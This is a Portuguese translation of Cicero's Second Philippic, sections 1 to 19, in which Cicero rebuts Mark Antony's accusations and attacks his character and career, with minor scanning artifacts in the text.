CÍCERO CONTRA M. ANTÔNIO – Orações – FILÍPICA II

ORAÇÃO DE M. T. CÍCERO CONTRA M. ANTÓNIO

FILÍPICA II

Em resposta à Filípica I, de Cícero, pronunciou M. António uma longa oração, declarando a sua inimizade para com o orador. Respondeu Cícero com a Filípica II, na qual rebate as acusações feitas contra ele, e, com grande violência, acusa M. António, de uma vida, a começar da infância até chegar às culminâncias do poder, cheia de desordens, licenciosidades e delitos. Não é certo se a Filípica II chegou a ser pronunciada no Senado, pois parece que a populaça armada por M. António, o impediu. Esta oração foi a causa principal da morte violenta de Cícero, perseguido pelo seu inimigo.

NÃO sei, Padres Conscritos, com que sorte minha sucede que há vinte anos a esta parte ninguém foi inimigo da República, que ao mesmo tempo não declarasse guerra contra mim! Nem é necessário nomear eu alguém em particular, assaz o tendes vós na vossa lembrança; maior castigo tiveram eles do que eu lhes poderia desejar. Admiro-me, António, que não temas o fim daqueles, cujas acções imitas. Por certo que admirava eu isto noutros, pois de nenhum fui inimigo particular; a todos me opus por amor da República. Mas tu, a quem não ofendi nem com uma palavra, por muita tua vontade me provocaste com injúrias, para pareceres mais atrevido que Catilina, e mais furioso que P. Clódio, entendendo que em te desavires comigo, ganharias reputação para com cidadãos perversos. Que entenderei pois? que estou desprezado? não vejo na minha vida crédito e acções, nem neste meu medíocre talento coisa que António possa desprezar. Acaso entenderia lhe era fácil desacreditar-me no Senado? em uma Ordem que de muitos ilustres cidadãos atestou terem governado com acerto a República, e só de mim o tê-la conservado? Quereria contra mim fazer ostentação de eloquência? favor por certo é este; porque que matéria mais vasta e fecunda de que falar em minha defesa contra António? O verdadeiro motivo foi entender que não poderia mostrar a seus semelhantes que era inimigo da pátria, senão declarando-se meu inimigo. Antes que lhe responda ao demais, direi um pouco sobre a matéria da amizade de que me acusa que eu violara, crime que tenho por gravíssimo.

2. Queixou-se que eu, não sei quando, advogara contra ele uma causa. Podia eu deixar de defender um parente e um amigo contra um extranho? não havia de opor-me a uma reputação ganhada não com a nobreza da virtude, mas com atractivos da mocidade? não me havia enviar contra a injustiça, patrocinada do mais iníquo opoente, e não da autoridade do pretor? Mas eu creio que fizeste menção disto, por conciliares a protecção da infima Ordem; pois não há quem não saiba seres tu genro de homem forro, e teus filhos netos de Q. Tádio, também homem forro. Porém, tinha-te posto debaixo da minha disciplina (segundo dizias), e me visitavas com frequência. Por certo que se assim o houvesses feito, mais aproveitada estaria a tua reputação e honestidade; mas nem o fizeste assim, nem, ainda que o desejasses, C. Curião to deixaria fazer. Disseste que me concederas o pedir a dignidade de agoureiro. Há tal atrevimento! há maior desaforo! No tempo em que todo o Colégio me requeria, e que Pompeu e Hor-têncio me nomearam (pois não podia ser nomeado por maior número), não podias tu pagar as dívidas, nem querias achar segurança, senão na ruína da República. Podias então requerer o cargo de agoureiro não estando Curião na Itália? ou quando te fizeram agoureiro, podias sem o mesmo Curião ter os votos de uma só tribo? quando teus amigos foram condenados por suas violências e pelo demasiado favor que te deram!

3. Mas eu (dizes tu) me vali de teu favor. De qual favor? ainda que sempre confessei isso mesmo. Antes quis confessar que te devia obrigações do que parecer a algum desatento menos agradecido. Mas que favor é esse? é o de me não matares em Brindes? havias a matar a quem o mesmo vencedor quis que fosse salvo e voltasse à Itália, quando te deu o mando das suas tropas de ladrões, de que tu te costumavas gloriar? Supões que o podias fazer. Não é este um benefício semelhante ao dos ladrões, quando dizem que deram a vida a quem a não tiraram? Se isto é mercê, não conseguiriam tanta glória aqueles que tiraram a vida a quem os tinha conservado. Que mercê foi abster-te de um tão atroz delito? neste caso menos estimável é no meu entender não me teres morto, do que lamentável o poderes fazê-lo impunemente. Mas seja embora mercê, pois de um ladrão não se podia receber outra maior; que motivos tens para poderes me chamar ingrato; não havia de queixar da ruína da República, por não parecer ingrato contigo? Em que faltei eu à moderação ou à amizade naquela minha queixa, digna por certo de compaixão, e deplorável, mas a mim precisa neste grau em que me colocou o Senado e povo romano? Que moderação não foi abster-me de palavras afrontosas em uma declamação contra M. António? principalmente haven-to tu destruído as relíquias da República; quando com a mais vil negociação tudo em tua casa se vendia; quando confessavas haver leis postas a teu respeito, e por ti, que nunca haviam sido promulgadas; quando sendo agueireiro, aboliste os agouros, e sendo cônsul os embargos; quando perdido de vinho e dissoluções, te enlodavas quotidianamente em todo o gênero de torpezas em uma casa tão honesta! Mas eu, como se a alteração fosse com M. Crasso, com quem tive muitas e grandes, e não com um péssimo gladiador, lamentando amargamente o estado da República, não disse deste homem coisa alguma; hoje pois o farei, para que conheça a mercê que lhe fiz em me haver calado. .

4. Este homem, sem humanidade alguma nem conhecimento da vida civil, leu publicamente as cartas que lhe escrevi, segundo ele diz. Que sujeito hou’ ve com uma pouca de boa criação, que, com o pretexto de algum particular descontentamento com seu amigo, manifestasse as suas cartas e as lesse publicamente? Que outra coisa é tirar aos amigos ausentes a correspondência, senão desterrar da vida humana a convivência? Quantas galantarias costumam haver nas cartas, que se se disseram em público, parecerão necedades? e quantas coisas sérias que, não obstante, não se devem divulgar? Passemos-te por essa desumanidade; vede, Conscritos, a sua incrível estultícia.

Que tens contra mim, discreto homem, segundo o pareces a Mustela Tamício e Tiron Numísio? que com estarem agora armados à vista do Senado, também eu te terei por discreto se me mostrares como te hás de defender entre esses malfeitores. Que me responderás se eu negar que jamais escrevi essas cartas? com que testemunhas me convencerás? porventura com a minha firma, matéria em que tens ciência de lucro? Como podes convencer-me, havendo hamanuenses? Inveja tenho a teu mestre, que te ensinou a não saber nada, com tão grande paga, como vou já a dizer. Que coisa menos digna, não digo eu de um orador, mas de um racional, que opor ao adversário um fundamento que, se ele o negar verbalmente, não podereis dizer mais nada por diante? Porém eu não o nego, e nisto mesmo te convenço não só de desumano, mas de louco; porque, que expressão há nessas cartas que não seja sumamente humana, cortês e benévola? Toda a tua acusação consiste em que nessas cartas não formo mau conceito de ti, e te escrevo como a um cidadão e a um homem de bem, e não como a um malvado ladrão. Mas eu não hei de publicar as tuas cartas, posto que tinha direito para o fazer, pois me provocaste, nas quais me pedes te dê permissão de mandares voltar do desterro a certo sujeito, e protestas de não o fazer sem o meu beneplácito. Assim o consegues de mim; e para que me havia eu opor à tua insolência, não a podendo refrear a autoridade desta Ordem, nem o respeito do povo romano, nem leis alguma? E para que era preciso rogares-me, estando protegido por uma lei de César aquele por quem te interessavas? porém quis que a mercê fosse minha em matéria em que suposta a lei, nem ele a podia fazer.

5. Tendo pois. Padres Conscritos, de falar um pouco de mim e muito contra M. António, vos peço primeiramente que, quando disser de mim, me ouçais com benignidade; e em segundo, eu farei que quando falar contra ele, me não negueis a atenção. Juntamente vos rogo que, se estais capacitados da moderação e comedimento que tenho praticado em minha vida no exercício de orar, entendais me não esqueço disso, quando responder a quem me desafiou. Não o tratarei como Cônsul pois ele também me não tratou como personagem consular; posto que ele de nenhum modo é cônsul, tanto por viver como vive, e governar assim a República, como por ser feito consulado a M. António, mas agradou a P. Servílio, por sou consular. Para que conhêsseis pois como ele se porta no consulado, me lançou em rosto o meu, o qual, Padres Conscritos, só no nome foi meu, e na realidade vosso, pois, que estabeleci, eu, executei, ou fiz, que não fosse por deliberação e autoridade desta Ordem? Isto que tu, homem eloquente e sábio, te atreves a vituperar na presença daqueles, por cujo conselho e sabedoria se executou? Quem houve que vituperasse o meu consulado senão P. Clódio? cuja sorte te espera como a C. Curião, pois tens em casa aquilo que a ambos foi fatal. Não guardou o meu com do modo que vemos; quanto a mim sem dúvida alguma nomear um dos consulares daquele tempo, proximamente falecido. Agradou a Q. Lutácio Catulo, cuja autoridade viverá sempre nesta República; agradou aos dois Lúculos, a M. Grasso, a Q. Hortêncio, a C, Curião, a M. Lépido, a C. Pisão, a M. Glabrião, a L. Volcácio, a C. Fígulo, a D. Silano, a L. Murena, que então eram cônsules designados. Deste modo que aos consulares, agradou também a M. Catão, que, morrendo por não ver muitos sucessos que previa, não te viu a ti cônsul. Pompeu aprovou sumamente o meu consulado, o qual a partir da Síria, tanto que me viu, me abraçou e deu os agradecimentos de que por benefício meu tornaria ele a ver a pátria. Mas para que nomear a cada um em particular? a todo um numerosíssimo Senado agradou de tal sorte o meu consulado que não houve ninguém que me não desse as graças como a pai, e confessasse dever-me a conservação de sua vida, filhos, posses e da República.

6. Porém, como a República foi privada de tantos e tão grandes homens como os que nomeei, falemos dos vivos, a saber, de dois consulares que nos restam. L. Cota, varão de sublime entendimento e de consumada literatura, depois de obradas estas acções que tu censuras, e depois de uma aparatosa oração, decretou se dessem graças aos deuses, concordando com ele todos os consulares, que há pouco nomeei, e todo o Senado; honra que a nenhum ministro de toga se concedeu, senão a mim desde a fundação desta Corte. L. César, teu tio, com que eloquência, com que fortaleza e autoridade não proferiu sentença contra seu cunhado, teu padrasto! Devendo tu tomar a este por teu director e mestre, antes te quiseste parecer com o padrastro que o tio. Eu, com ser estranho, me vali de seus documentos; tu, sendo sobrinho, quando te aconselhaste com ele no governo da República? E com que casta de homens se aconselha ele? Deuses imortais, com aqueles, por certo, cujos dias de anos devem chegar a nossos ouvidos! Não vejo hoje António ao Senado; qual será a causa? festeja anos na sua quinta; anos de quem? não nomearei ninguém; suponde que são de algum Formião, Gnatão ou Da-lião. Que indigno homem! que insolente desaforo! que insofrível dissolução! Tens um parente tão próximo entre os primeiros senadores, e na classe de cidadãos de mais distinto merecimento, e não o buscas para te aconselhar em negócios públicos, e vais ter com uns mendigos faltos de bens, que te devoram os teus!

7. Foi pois o teu consulado proveitoso, e o meu pernicioso. Tão perdida tens a vergonha e rubor que te atreves a tal dizer naquele templo, em que eu consultei um Senado, que algum dia florente governava o Universo, e onde tu introduzes homens facinorosíssi mos com armas. Também te atreveste (e a que não te atreverás!) a dizer que sendo eu cônsul, estivera o monte Capitólio cheio de escravos armados; suponho que era para-fazer violência ao Senado, para que decretasse aquelas iníquas ordenações. Que infeliz em falares com tanto desaforo na presença de semelhantes personagens, ou saibas ou não daqueles decretos (pois não sabes coisa boa)! Que cavalheiro romano, que mancebo nobre, à excepção de ti, que sujeito de qualquer classe houve que, lembrando-se de que era cidadão, deixasse de concorrer ao monte Capitólio quando o Senado se congregou neste lugar? quem deixou de alistar o seu nome? posto que mal havia escrivães nem livros que bastassem para os nomes. Quando, tendo homens malvados confessado o parrícidio da sua pátria, e sendo convencidos, pelos denunciantes, e pelas suas firmas, ou, por melhor dizer, pela voz das suas cartas, que queriam abrasar esta cidade, derrotar os cidadãos, assolar a Itália, e destruir a República, quem se animaria a defender o bem público? principalmente tendo então o povo romano um capitão que, se agora o fosse, te sucederia o mesmo do que aqueloutros. Diz que eu não dera à sepoltura o corpo de seu patrastro. Isto nem P. Clódio o disse, de quem com razão fui inimigo; mas agora sinto que já tu excedes em todo o género de vicios.

8. As necedades, incoerências e disparates, de que encheste toda a tua oração, foram tantas que mais te inpugnaste a ti próprio do que a mim. Confessavas que teu padrastro fora cúmplice de um tão enorme crime, e lamentava ter sido castigado. Deste modo elogiaste o que foi meu, e censuraste o que pertenceu a todo o Senado, pois eu fui o que prendi os reus, e o Senado o que os castigou. Não conhece este eloquente homem que elogia aquele mesmo com quem litiga, e vitupera aqueles diante de quem fala. E que maior, não direi atrevimento (pois deseja lhe chamem de atrevido) mas estultícia (o que não é de seu gosto), em que excede a todos, de que fazer ^ menção do monte Capitólio, ao mesmo tempo que andam homens armados junto de nossos assentos; e neste mesmo templo da Concórdia (deuses imortais!), onde no meu consulado se proferiram aquelas saudáveis sentenças, com que até o dia de hoje conser-mamos a vida, estão homens postos em armas. Acusa o Senado, acusa a Ordem Equestre, que então se con-graçou com o Senado, acusa todas as Ordens e todos os cidadãos, contanto que confesses estar esta Ordem cercada de itireanos. Não é o atrevimento quem te faz falar com tanta impudência, mas o não perceberes a repugnância que nisto há. Bem mostras não ter juizo nenhum; pois que maior falta dele que lançares em rosto a outros tomarem armas pelo bem da República, ao mesmo tempo que tu as tomas para sua ruína? Também em certa ocasião se quis mostrar gracioso. Com quanta desenxabidez! Bons deuses! alguma culpa tens nisto, pois podias ter partecipado algum sal da tua comediante mulher. Cedam as armas à joga, dizes; e então porventura cederam? depois certamente cedeu a toga às tuas armas. Saibamos pois: qual foi melhor, cederam as armas dos malfeitores à liberdade do povo romano, ou a nossa liberdade às tuas armas? Nada mais responderei sobre os versos que citaste, somente te digo, em poucas palavras, que tu os não entendes, nem letras algumas, e eu, sem nunca faltar à República nem a meus amigos, ainda assim nunca deixei, com todo o género de composição, de procurar que as minhas vigílias e estudos fossem de algum proveito à mocidade, e de algum crédito ao nome romano. Mas isto não pertence aqui; passemos a coisas mais importantes.

9. Disseste que P. Clódio fora morto por conselho meu; que diriam todos, se fosse morto, quando à vista do povo romano o perseguiste no foro com a espada nua na mão; e concluirias o negócio se ele se não metesse debaixo da escada da loja de um livreiro. Nisto confesso eu que te louvei; que to aconselhei, nem tu mesmo o dizes. Quanto a Milão, nem ainda favor lhe dei, porque primeiro concluiu ele a obra, que ninguém suspeitasse que o faria. Mas eu o exortei, dizes tu; assim é, que o ânimo de Milão era de tal qualidade que sem exortador não podia procurar o bem da República. Mas alegrei-me; pois que? sendo universal a alegria da cidade, só eu havia de estar triste? Confesso que a devassa sobre a morte de Clódio não foi disposta com muita prudência; porque, que necessidade havia de uma nova lei para se devassar de quem tinha feito um homicídio, estando a devassa estabelecida pela lei? sem embargo disto, se fez a informação. Ninguém, quando isto sucedeu, depôs coisa alguma contra mim, e só tu, depois de tantos anos, achas que dizer? Quanto ao que te atreveste a dizer com tanta difusão, que por diligências minhas fora Pompeu separado da amizade de César, e desta causa brotara a guerra civil por minha culpa, não te enganaste de todo o facto, mas sim nos tempos, que lhe é o principal.

10. No consulado de M. Bibulo não omiti diligência alguma, fazendo todo o empenho possível para separar a Pompeu da familiaridade de César; mas este teve mais felicidade, porque separou a Pompeu da minha amizade. Porém, depois que Pompeu se entregou inteiramente a César, para que me havia eu empenhar para os desunir? Louco seria se tal esperasse, insolente se o persuadisse. Duas foram as ocasiões em que a dei a Pompeu alguns avisos contra César; estes quero que condenes se puder: um foi que não se prorrogasse a César o governo além de cinco anos, outro, que se não atendesse o seu requerimento estando ele ausente; se eu o capacitasse de ambas estas coisas não viríamos a parar nestas infelicidades, em que nos vemos. Também eu fui o mesmo que, depois que Pompeu meteu em poder de César todas as suas riquezas, e da República, e começou a sentir tarde o que eu muito antes tinha previsto, vendo iminente à pátria uma cruel guerra, não descansei em pro curar paz, concórdia e composição. Bem notório é aquele meu dito que muitos me ouviram: Oxalá, Cm Pompeu que nunca fizesses aliança com César, ou nunca a quebrasses; uma destas coisas competia ao teu crédito, a outra à tua prudência. Estes foram sempre, M. António, os meus ditames para com Pompeu e a República; se eles prevalecessem, duraria ela ainda hoje e tu cairias com o peso de teus delitos, penúria e infâmia.

11. Mas isto são coisas velhas; que César fora morto por meu conselho, é novidade. Já entro em receio, Padres Conscritos (coisa na verdade vergo-nhosissima) vos pareça ter eu provocado contra mim um acusador que me honrasse, não só com os louvores próprios, mas comos alheios. Há porventura quem ouvisse pronunciar o meu nome entre os autores desta gloriosíssima acção? há entre eles algum, cujo nome se ocultasse? que digo, ocultasse? que logo não se publicasse? Mais facilmente direi eu que alguns se prezaram de parecer sócios desta conspiração, que na realidade o não foram, do que houvesse alguém que o quisesse encobrir. E’ verossímil que entre tan-tos sujeitos, uns de baixa esfera, outros mancebos indiscretos, se pudesse encobrir o meu nome? Quando aos autores daquela acção faltassem exemplares para libertar a pátria, induziria ou os Brutos, ambos os quais tinham diante dos olhos o retrato de M. Bruto e um deles também o de Ahala? Uns homens, pois, que procediam de semelhantes ascendentes, haviam-se aconselhar antes com os estranhos que com os seus? com os de fora antes que com os de casa? Que necessidade tinha de mim C. Cássio, nascido naquela família que não só soberania mas nem autoridade podia sofrer? este só, ainda sem o adjutório dos outros esclarecidos varões, concluiria esta empresa na Cilicia, na foz do rio Cidno, se César desembarcasse na margem onde tinha determinado e não na contrária. A minha autoridade foi a que excitou Cn. Domício a recuperar a liberdade, ou a morte de seu pai, varão tão ilustre, e de seu tio, e a perda do próprio crédito? Persuadi porventura a C. Trebónio, a quem nem dar conselho me atreveria? Suma é a obrigação em que lhe está a República, pois antepôs a liberdade do povo romano à amizade de um só sujeito, e antes quis desterrar o despotismo do que ser partecipante dele. Guiou-se pelos meus conselhos L. Cimber? de quem eu mais me admirei que fizesse semelhante coisa, do que entendi que a havia de fazer; sendo a causa da minha admiração, porque se esqueceu dos benefícios e se lembrou da pátria. Que direi dos dois Servílios, dos Cascas e Ahalas? julgas que os excitou a essa acção mais a minha autoridade do que o amor da República? Coisa prolixa seria discorrer pelos mais. Gloriosa foi esta acção para a República, mas muito mais para eles.

12. Mas trazei agora à memória o teor com que me acusou este subtil homem. Tanto que César foi assassinado (dizia ele), levantando M. Bruto mui alto o punhal ensanguentado, bradou nomeadamente por Cícero, dando-lhe os parabéns por estar recuperada a liberdade. Porque me nomeou ele a mim particularmente? como sabia eu da conjuração? Vê não fosse a causa de me nomear que, tendo obrado uma acção semelhante às minhas, me quiz principalmente tomar por testemunho do que ele fora émulo dos meus louvores. Não sabes, louco varrido, que se é crime querer matar a César, também o é alegrar-se pela sua morte? pois, que diferença há entre quem aconselha e quem aprova? que mai importante, querer que se faça, do que folgar que se fizesse? Quem há senão tu, e os que gostavam que ele reinasse, que não estimasse esta acção ou não aprovasse depois de feita? Nesta parte todos estão culpados, porque todos os bons, quanto esteve da sua parte, mataram a César; a uns faltou a resolução, a outros o valor, a outros a ocasião, a vontade a nenhum. Mas reparei na estolidez do homem, melhor direi bruto. As suas palavras são estas; M. Bruto, a quem eu nomeio por honra, tendo o seu punhal ensanguentado, exclamou por Cícero; donde se dá a entender que ele era sabedor. A mim, pois me chamas malvado, de quem suspeitas que suspeitei alguma coisa; e nomeias por honra aquele que por si mesmo mostrou o punhal escorrendo em sangue. Seja embora; passemos-te por esta nece-dade; quanto maior é a das tuas acções e sentenças! Já que és cônsul, resolve enfim como queres se qualifique a acção dos Brutos, de C. Cássio, de Cn. Domício, de C. Trebónio e’ dos mais. O que te digo é que cozas o vinho, e o arrotes. Será porventura preciso que te cauterizemos, para despertares do letargo em que estás nesta causa? Quando conhecerás em que has de assentar; se os que obraram esta acção são reus de homicídio ou defensores da liberdade?

13. Considera um instante nisto com urn pouco de atenção, como homem que está em seu juizo. Sendo eu amigo deles, como eu próprio confesso, e seu cúmplice, como tu me acusas, sou o mesmo que digo não haver nisto meio algum; que, se não libertadores do povo romano e conservadores da República, são mais que assassinos, mais que homicidas, mais que patricidas, pois maior atrocidade é matar o pai da pátria que o próprio. Que dizes, sábio e prudente varão? Por que razão foi M. Bruto, segundo a tua proposta, desobrigado das leis, se estivesse ausente mais de dez dias? por que razão se celebraram os jogos de Apolo com tão incrível honra por M. Bruto? por que razão se deram províncias a Bruto e Cássio? por que se lhe agregaram questores? por que se lhes aumentou o número dos tenentes? sendo tu mesmo o que fizeste tudo isto. Não são pois homicidas; segue-se logo que são libertadores, porque nisto não há meio. Que é isso? perturbaste com este meu dizer? talvez não entenderás o que com tanta clareza tenho dito. Em suma, o que venho a dizer, por conclusão é que se os julgaste dignos de tão grandes prémios, tu mesmo os justificaste. Torno pois. a urdir a minha oração. Eu lhes escreverei, para que se alguém lhes perguntar se é verdade o que tu me opões, a ninguém o neguem porque temo lhes seja pouco honroso não me manisfestarem, e a mim afrontosíssimo, sendo por eles convidado, não querer entrar na sua conspiração. Que acção jamais se obrou nesta cidade e no universo, nem maior, nem mais gloriosa, nem mais digna da memória eterna dos homens? Metes-me na sociedade deste conselho, como dentro no cavalo de Tróia? consinto; e ainda te dou os agradecimentos, qualquer seja a tenção com que o faças; tão relevante é esta acção que, à vista do crédito que dela resulta, não faço caso dos ódios que procura excitar contra mim. Que sorte mais feliz que a daquelas de quem te prezas haver desterrado e expelido? a que lugar tão deserto e inculto podem eles chegar que, em os vendo, os não receba e trate com alegria? que homens haverá tão rústicos, que com a sua presença não se persuadam haver recebido a maior felicidade da sua vida? que posteridade haverá tão esquecida, que escritos tão ingratos que não perpetuem sua glória com uma memória imortal? Mete-me pois neste número.

14. Mas receio que não proves este único ponto; se eu fosse daquele número, eu arrancaria não só o rei, mas a autoridade real; e se aquele estilo (como se diz) fosse o meu, crê-me que não me contentaria com uma só cena, mas acabaria a tragédia. E se é crime ter matado a César, peço-te, António, que consideres o que será de ti, sendo bem notório que em Narbona assentaste com C. Trebónio nesta resolução; cuja conspiração foi a causa por que te vimos retirar de Trenóbio, quando César foi morto. Mas eu (vê quão pouco me mostro teu inimigo) louvo-te o chegares a ter alguma vez esse bom pensamento; agradeço-te de não o teres descoberto; e te perdoo de não o teres posto em obra; semelhante empresa requeria um homem que o fosse. Se alguém reconvir em juizo, e se valer do ditado de Cássio: "Aquém foi de utilidade, etc." vê não fiques estacado. Ainda que aquele feito, como tu dizias, não foi de proveito a todos aqueles que não queriam servir a um só, o foi para ti principalmente, que não só não serves, mas reinas; que achaste no templo de Cibele com que te exonerar das mais avultadas dividas; que com o favor dos mesmos registos estragaste somas imensas; que da casa de César transportaste imenso cabedal; para ti, cuja casa é oficina de escrituras e escritos falsos, e uma feira péssima de campos, cidades, isenções e tributos. Que sucesso poderia remediar a tua penúria e dívidas, senão a morte de César? Eu te livro deste temor; ninguém haverá nunca que tal creia; não é coisa que te compita fazer tão bons ofícios à República; tem ela por fautores deste feito a homens dos mais esclarecidos. Eu só digo que folgaste, não argumento o que fizeste. Tenho respondido às maiores acusações; agora responderei às demais.

15. Lanças-me em rosto todo aquele tempo que estive nos arraiais de Pompeu. Se neste tempo tivessem prevalecido os meus conselhos e autoridade, estarias tu hoje pobre, e nós com liberdade, e a República não teria perdido tantos generais e exércitos. Confesso que, antevendo eu o que sucedeu, me ví possuído de tão grande tristeza quanta seria a dos melhores cidadãos, se previssem o mesmo. Magoava-me, Padres Conscritos, magoava-me de ver que uma República em outros tempos conservada com vossos e meus conselhos, brevemente havia de perecer. Nem era tão néscio e ignorante que me desanimasse por aferro a esta vida; pois o conservá-la me acabrunharia com aflições, e o perdê-la me livraria de toda a moléstia; o que queria era se conservassem vivos tantos varões insignes, luzes desta República, tantos consulares, tantos pretorianos, tantos senadores autori-zadíssimos, e toda esta florente nobreza e mocidade, e exército de boníssimos cidadãos; os quais se ainda vivessem, posto que com iníquas condições de paz (por que toda a paz com nossos concidadãos me pareceria mais útil que a guerra civil) ainda hoje teríamos República. Se o meu ditame prevalecesse, e se não me opuzessem aqueles cuja vida eu defendia, elevados com a esperança de vencer, não tornarias tu (para não dizer mais) a aparecer na presença do Senado, nem habitarias mais nesta cidade. Mas todas as minhas falas não tiveram outro efeito senão voltar Pompeu contra mim. Porventura houve quem ele amasse mais do que a mim? tratou ou se aconselhou com alguém mais do que comigo? era na verdade coisa notável que, discordando nós em ponto capital, nos conservávamos com familiaridade de amigos; mas eu conhecia os seus sentimentos, e ele os meus sentimentos e os meus desejos. Eu queria que primeiro procurasse a conservação dos cidadãos, e depois, a do seu crédito; ele, pelo contrário, só atendia à sua reputação presente; pelo que, como ambos tínhamos intentos nada incompatíveis, por isso era mais tolerável a nossa discórdia. Bem sabem os que na retirada de Farsália para Pafos o seguiram, o que este consular, este homem divino julgou de mim; nunca jamais falou na minha pessoa senão com muita honra e expressões cheias de saudosa amisade, confessando que eu tivera melhor vista, e ele melhores esperanças. E atreves-te a insultar-me com o nome de um varão de quem confesso que fui amigo e tu perseguidor?

16. Mas não falemos mais nesta guerra que tão favorável te tem sida. Também não responderei às galantarias com que disseste me houvera na campanha; não faltavam naquele tempo penosos cuidados; mas os homens, ainda no meio dos contrastes, se são homens devem procurar algum recreio de ânimo; porém, como ele que umas vezes estranha a minha tristeza, é o mesmo que outras condena a minha graciosidade, bastante prova dá que em ambas as coisas guardei moderação. Disseste que ninguém me fizera seu herdeiro. Prouvera a Deus que fora verdade essa tua acusação; seriam ainda vivos muitos meus amigos e parentes; mas como te veio isso à cabeça, a teu avô; ele dizia mui regradamente o que fazia tendo eu recebido de heranças mais de duzentos mil sestércios? Nesta matéria és tu mais afortunado do que eu, porque a mim ninguém me fez herdeiro, senão quem era meu amigo, contrapesando a minha mágoa aquele tal qual proveito; a ti te fez herdeiro L. Rúbrio Cassinas, a quem nunca viste; olha quanto te amou aquele que, sem saber se eras branco ou negro, te preferiu a seu sobrinho; e a Q. Fúrio, um dos mais honrados cavaleiros romanos, seu amicíssimo, a quem ele publicamente sempre instituiria seu herdeiro, nem menção fez ele no seu testamento. Desejara me dissesses, se te não enfada, que feiçõs tinha L. Tursélio, que estatura, de que município e tribo era? não sei de nada, dirás, senão dos prédios que tinha. Deserdou, pois, a seu irmão, para te fazer a ti seu herdeiro. Muitas outras somas notáveis, de pessoas que lhe eram estranhas, invadiu, esbulhados os herdeiros legítimos. Sumamente me admirei de que te atrevesses a falar em heranças, não tendo tu herdado de teu pai.

17. Para amontoares tudo isto, louco rematado, é que declamaste tantos dias em uma quinta emprestada? Posto que tu (como dizem teus mais familiares amigos) mais declamas para vaporar o vinho, que para apurar o engenho. Com efeito, por teu voto, e dos teus bebedouros, buscaste para teu divertimento um mestre retórico, a quem deste licença de dizer contra ti o que quisesse; não há dúvida que é homem discreto, mas a matéria é fecunda para falar contra ti e teus amigos. Vê a diferença que vai de ti a teu avô; ele dizia regradainente o que fazia para a causa, tu dizes com precipi tação o que não serve de nada para a tua. E que paga se daria ao retórico? Ouvi, Padres Conscritos, ouvi e reconhecei as chagas da República. Consignaste ao retórico S Clódio doze mil jeiras de terra no campo Leontino, isentas de todo tributo, para com tão avultada paga aprenderes a não saber nada; também isto, petulantíssimo homem, hás de dizer que foi regulado pela? memórias de César? Mas em outro lugar falarei do? campos Leontinos e da Campânia, que roubou à Repú blica, e contaminou com os mais infames possuidores. Tendo pois suficientemente respondido a todas tuas acusações direi alguma coisa de nosso censor e corrector. Não vazarei tudo de uma vez, para, se for preciso, contender mais vezes, proceder sempre com novidades, cuja faculdade me concede a multidão de teus vícios e delitos. ‘

18. Queres que te examinemos desde a infância? neste pensamento estou; comecemos do princípio. Estás lembrado de quando, ainda vestido de pretexta, desbaratastes teus bens? Essa culpa, dirás, foi de meu pai; concedo, porque essa defesa é cheia de piedade. Mas foi próprio do teu atrevimento assentar-te no teatro sobre os quatorze degraus, havendo lugar deputado para os estragados, pela Lei Rós-cia, ainda que ouvessem perdido seus bens por infortúnios, e não por culpa própria. Assim que tomaste a toga viril, a trocaste em vestidos de mulher; e pros-tituindo-te publicamente para todos, tinhas certo salário desta maldade, e esse não pequeno; mas chegou logo Curião, que te retirou deste lucro meretrício, e, como se te restituisse o vestido feminil, ajustou contigo um matrimónio estável e regrado. Não houve jamais rapaz alugado para fim desonesto, que tanto estivesse em poder de seu amo como tu com Curião. Quantas vezes seu pai te lançou fora de casa? quantas pôs guardas, para que lhe não entrasses das portas para dentro? contudo, quando com o favor da noite, instigado do apetite e obrigado da paga, descias pelo telhado, não se puderam tolerar mais tempo as tuas desordens naquela casa. Porventura não sabes que falo de coisas para mim mui notórias? Lem-bras-te de quando Curião pai, possuído de tristeza, jazia de cama, e o filho, prostrado a meus pés, com as lágrimas nos olhos se recomendava a mim, e me pedia tomasse à minha conta defender-te de seu pai, quando ele te requeresse a soma de sessenta mil sestércios, por ser esta a soma em que ele filho te tinha abanado? asseverando, possuído inteiramente da sua afeição para contigo, que não podia suportar a tua ausência, e se desterraria a si próprio? Neste tempo apaziguei os males de tão ilustre família, ou, por melhor dizer, os acabei; persuadi ao pai que pagasse as dívidas do filho; que despendesse seus bens em remir a um moço de grandes esperanças, dotado de brio e entendimento; que usasse da sua autoridade paternal, impedindo-lhe toda a familiaridade e comércio contigo. Lembrando-te tu de tudo isto que então fiz, havias ter o atrevimento de me ultrajar com impropérios, se não tivesses confiança nessas armas que estamos vendo?

19. Mas deixemos já as tuas torpezas e prostituições; coisas há que a honestidade não permite dizer. Tanta é a dissolução que não é possivel que um inimigo honesto possa dizer o que com ela tens obrado. Vede, Conscritos, o restante de sua vida, de que falarei só de passagem, porque estou ansioso para ehegar ao que obrou na guerra civil, e nas maiores infelicidades da República, e cada dia está obrando, que, posto, sejam coisas que vos sabeis melhor do que eu, vos peço me deis atenção, como fazeis; pois em semelhantes matérias deve despertar os ânimos não só o conhecimento dos factos, mas a lembrança deles; preciso será deixemos alguns intermédios, por não chegarmos mui tarde aos últimos. Sendo tribuno, foi amicíssimo de Clódio; este me fez lembrar de todos os benefícios que me fez: este o instrumento de todos seus furores; em sua casa se tramaram suas empresas; belissimamente percebe ele o que eu venho nisto a dizer. Depois tomou para Alexandria contra os decretos do Senado e os oráculos; mas tinha por si a autoridade de Gabínio, com a qual passava por justíssimo tudo o que podia fazer. Para onde ou de que modo voltou ele? primeiro deu consigo nos últimos confins da Gália, do que viesse para casa. E que casa era a sua? todos tinham então suas casas, tu a não tinhas em parte alguma; que digo, casa? que lugar havia no mundo, onde pudesses pôr pé, que fosse teu, senão Messina, onde ressidias como Sisapão com seus companheiros?

